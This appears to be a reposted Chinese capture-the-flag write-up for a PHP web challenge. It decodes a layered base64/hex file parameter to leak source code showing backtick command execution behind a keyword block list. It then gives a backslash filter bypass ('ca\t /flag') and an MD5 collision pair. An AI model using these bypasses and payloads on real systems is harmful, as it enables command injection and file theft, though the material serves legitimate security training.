打開題目，網址為
index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=
這兩個引數似乎可以利用
對img引數進行測驗，發現加載的圖片好像是由img決定的
對TXpVek5UTTFNbVUzTURabE5qYz0base64解碼
得到MzUzNTM1MmU3MDZlNjc=，再次解碼
得到3535352e706e67，再hex解碼
得到555.png
那可以直接得到index.php的原始碼 ，那豈不是也可以直接拿到flag
index.php?img=TmprMlJUWTBOalUzT0RKRk56QTJPRGN3&cmd=
<?php
error_reporting(E_ALL || ~ E_NOTICE);
header('content-type:text/html;charset=utf-8');
$cmd = $_GET['cmd'];
if (!isset($_GET['img']) || !isset($_GET['cmd']))
header('Refresh:0;url=./index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=');
$file = hex2bin(base64_decode(base64_decode($_GET['img'])));
$file = preg_replace("/[^a-zA-Z0-9.]+/", "", $file);
if (preg_match("/flag/i", $file)) {
echo '<img src ="./ctf3.jpeg">';
die("xixi～ no flag");
} else {
$txt = base64_encode(file_get_contents($file));
echo "<img src='data:image/gif;base64," . $txt . "'></img>";
echo "<br>";
}
echo $cmd;
echo "<br>";
if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) {
echo("forbid ~");
echo "<br>";
} else {
if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) {
echo `$cmd`;
} else {
echo ("md5 is funny ~");
}
}
?>
<html>
<style>
body{
background:url(./bj.png) no-repeat center center;
background-size:cover;
background-attachment:fixed;
background-color:#CCCCCC;
}
</style>
<body>
</body>
</html>
注意這段代碼
echo `$cmd`;
PHP中，利用反引號可以執行 Unix 下的命令，并傳回執行結果
那么接下來就是cmd的利用了
繞過preg_match()以及post傳參繞過MD5強驗證
index.php?img=0&cmd=ca\t%20/flag
md5強碰撞
%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2
%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2
轉載請註明出處，本文鏈接：https://www.uj5u.com/qita/348614.html
標籤：其他
上一篇：2021-11-03